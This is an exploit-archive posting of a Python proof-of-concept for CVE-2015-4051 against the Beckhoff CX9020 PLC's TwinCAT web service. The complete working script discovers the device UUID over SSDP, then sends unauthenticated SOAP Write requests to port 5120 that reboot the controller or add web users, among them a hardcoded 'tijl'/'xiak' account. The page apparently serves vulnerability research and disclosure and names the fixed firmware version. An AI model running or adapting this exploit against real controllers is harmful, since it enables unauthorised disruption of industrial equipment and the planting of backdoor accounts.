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Beckoff CX9020 CPU Model Remote Code Execution

Beckoff CX9020 CPU Model Remote Code Execution
Posted Oct 23, 2015
Authored by Photubias

This proof of concept exploit allows any attack to reboot any CX9020 PLC and add random (Web) users to be configured.

tags | exploit, web, proof of concept
advisories | CVE-2015-4051
MD5 | 7e1cc2c85a3acb1409945fa7a6993562

Beckoff CX9020 CPU Model Remote Code Execution

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#! /usr/bin/env python
# Exploit Title: Beckhoff CX9020 CPU Module Web Exploit (RCE)
# Date: 2015-10-22
# Exploit Author: Photubias - tijl[dot]deneut[at]howest[dot]be, based on work by Frank Lycops (frank.lycops@thesecurityfactory.be)
# Vendor Homepage: https://www.beckhoff.com/english.asp?embedded_pc/cx9020.htm
# Version: TwinCat UpnpWebsite < 3.1.4018.13, fixed with ftp://ftp.beckhoff.com/software/embPC-Control/CX90xx/CX9020/CE/TC3/CX9020_CB3011_WEC7_HPS_v602i_TC31_B4018.13.zip
# Tested on: Python runs on any Windows or Linux
# CVE : CVE-2015-4051 (similar to this CVE, but different service IPC Diagnostics Authentication <> Web Authentication)

Copyright 2015 Photubias(c)

Written for Howest(c) University College, Ghent University, XiaK

This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.

File name CX9020-WebControl.py
written by tijl[dot]deneut[at]howest[dot]be
This POC allows to reboot any CX9020 PLC and add random (Web) users to be configured.
-> Test by going to http://<IP>/config (redirects to http://<NAME>:5120/UpnpWebsite/index.htm)
-> Default credentials are guest/1 and webguest/1, but this exploit works without credentials
-> Verify Website version by logging into http://<IP>/config and clicking "TwinCAT"
'''
import sys, httplib, socket, re, base64

## Defining Functions first:
def rebootMachine(UNS, IP, IO):
## This is the SOAP Message:
SoapMessage = "<?xml version=\"1.0\" encoding=\"utf-8\"?><s:Envelope s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">"
SoapMessage += "<s:Body><u:Write xmlns:u=\"urn:beckhoff.com:service:cxconfig:1\"><netId></netId><nPort>0</nPort><indexGroup>0</indexGroup>"
SoapMessage += "<IndexOffset>-" + IO + "</IndexOffset>"
SoapMessage += "<pData>AQAAAAAA</pData></u:Write></s:Body></s:Envelope>"

## Construct and send the HTTP POST header
rebootwebservice = httplib.HTTP(IP + ":5120")
rebootwebservice.putrequest("POST", "/upnpisapi?uuid:" + UNS + "+urn:beckhoff.com:serviceId:cxconfig")
rebootwebservice.putheader("Host", IP + ":5120")
rebootwebservice.putheader("User-Agent", "Tijls Python Script")
rebootwebservice.putheader("Content-type", "text/xml; charset=utf-8")
rebootwebservice.putheader("Content-length", "%d" % len(SoapMessage))
rebootwebservice.putheader("SOAPAction", "urn:beckhoff.com:service:cxconfig:1#Write")
rebootwebservice.endheaders()
rebootwebservice.send(SoapMessage)

## Get the response
statuscode, statusmessage, header = rebootwebservice.getreply()
if statuscode == 200:
print "Exploit worked, device should be rebooting!"
return 1
else:
print "Something went wrong, the used index is probably wrong? This is the response code:"
## Printing HTTP Response code
res = rebootwebservice.getfile().read()
print res
return 0

#print "Response: ", statuscode, statusmessage
#print "headers: ", header

def addUser(UNS, IP, PDATA, IO):
## This is the SOAP Message:
SoapMessage = '<?xml version="1.0" encoding="utf-8"?><s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">'
SoapMessage += '<s:Body><u:Write xmlns:u="urn:beckhoff.com:service:cxconfig:1"><netId></netId><nPort>0</nPort><indexGroup>0</indexGroup>'
SoapMessage += '<IndexOffset>-' + IO + '</IndexOffset>'
SoapMessage += '<pData>' + PDATA + '</pData></u:Write></s:Body></s:Envelope>'

## Construct and send the HTTP POST header
rebootwebservice = httplib.HTTP(IP + ":5120")
rebootwebservice.putrequest("POST", "/upnpisapi?uuid:" + UNS + "+urn:beckhoff.com:serviceId:cxconfig")
rebootwebservice.putheader("Host", IP + ":5120")
rebootwebservice.putheader("User-Agent", "Tijls Python Script")
rebootwebservice.putheader("Content-type", "text/xml; charset=utf-8")
rebootwebservice.putheader("Content-length", "%d" % len(SoapMessage))
rebootwebservice.putheader("SOAPAction", "urn:beckhoff.com:service:cxconfig:1#Write")
rebootwebservice.endheaders()
rebootwebservice.send(SoapMessage)

## Get the response
statuscode, statusmessage, header = rebootwebservice.getreply()
if statuscode == 200:
print "Exploit worked, user is added!"
return 1
else:
print "Something went wrong, the used index is probably wrong? This is the response code:"
## Printing HTTP Response code
res = rebootwebservice.getfile().read()
print res
return 0

#print "Response: ", statuscode, statusmessage
#print "headers: ", header

def addOwnUser(UNS, IP, IO):
## This will prompt for username and password and then create the custom pData string
USERNAME = raw_input("Please enter the username: ")
PASSWORD = raw_input("Please enter the password: ")
CONCATENATED = USERNAME + PASSWORD

# Creating the Full String to encode
FULLSTRING = chr(16+len(CONCATENATED))
FULLSTRING += chr(0)+chr(0)+chr(0)
FULLSTRING += chr(len(USERNAME))
FULLSTRING += chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)+chr(0)
FULLSTRING += chr(len(PASSWORD))
FULLSTRING += chr(0)+chr(0)+chr(0)
FULLSTRING += CONCATENATED

# Encode a first time, but we don't want any '=' signs in the encoded version
PDATA = base64.b64encode(FULLSTRING)
if PDATA.endswith('='):
FULLSTRING += chr(0)
PDATA = base64.b64encode(FULLSTRING)
if PDATA.endswith('='):
FULLSTRING += chr(0)
PDATA = base64.b64encode(FULLSTRING)

# Now we have the correct PDATA string
print 'We will use this string: '+PDATA
return addUser(UNS, IP, PDATA, IO)

def is_ipv4(ip):
match = re.match("^(\d{0,3})\.(\d{0,3})\.(\d{0,3})\.(\d{0,3})$", ip)
if not match:
return False
quad = []
for number in match.groups():
quad.append(int(number))
if quad[0] < 1:
return False
for number in quad:
if number > 255 or number < 0:
return False
return True

###### START PROGRAM #######
if not len(sys.argv) == 2:
IP = raw_input("Please enter the IPv4 address of the Beckhoff PLC: ")
else:
IP = sys.argv[1]

if not is_ipv4(IP):
print "Please go read RFC 791 and then use a legitimate IPv4 address."
sys.exit()

## Initialize variables
UNS = ''
ActiveRebootIndOff = '1329528576' # Active means active Engineering Licenses (when PLC has been programmed less than a week ago)
InactiveRebootIndOff = '1330577152'
ActiveUserIndOff = '1339031296'
InactiveUserIndOff = '1340079872'

print 'Finding the unique UNS (UUID) of the target system (' + IP + '), hold on...\n'

DISCOVERY_MSG = ('M-SEARCH * HTTP/1.1\r\n' +
'HOST: 239.255.255.250:1900\r\n' +
'MAN: "ssdp:discover"\r\n' +
'MX: 3\r\n' +
'ST: upnp:rootdevice\r\n' +
'\r\n')

SOCK = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
SOCK.settimeout(10)
SOCK.sendto(DISCOVERY_MSG, (IP, 1900))
try:
RESPONSE = SOCK.recv(1000).split('\r\n')
except:
print 'Something went wrong, is the system online?\nTry opening http://' + IP + ':5120/config\n'
raw_input('Press Enter to continue...')
sys.exit(0)

for LINE in RESPONSE:
if ':uuid' in LINE:
UNS = LINE[9:45]
print 'Got it: ' + LINE[9:45] + '\n'
SOCK.close()

if not UNS:
print '\n\nProblem finding UNS, this is full SSDP response: \n'
for LINE in RESPONSE: print LINE
input('Press Enter to continue...')
sys.exit(0)
else:
print 'Let\'s go, choose your option:'
print '1 = reboot PLC'
print '2 = add user tijl with password xiak'
print '3 = add user from your choosing'
usr_input = raw_input('Select a number: ')
if usr_input == '1':
if not rebootMachine(UNS, IP, InactiveRebootIndOff):
rebootMachine(UNS, IP, ActiveRebootIndOff)
raw_input('Press Enter to continue...')
elif usr_input == '2':
if not addUser(UNS, IP, 'GAAAAAQAAAAAAAAABAAAAHRpamx4aWFr', InactiveUserIndOff):
addUser(UNS, IP, 'GAAAAAQAAAAAAAAABAAAAHRpamx4aWFr', ActiveUserIndOff)
raw_input('Press Enter to continue...')
elif usr_input == '3':
if not addOwnUser(UNS, IP, InactiveUserIndOff):
addOwnUser(UNS, IP, ActiveUserIndOff)
raw_input('Press Enter to continue...')
else:
print 'Please choose a sensible input next time, exiting.'
input('Press Enter to continue...')
sys.exit()

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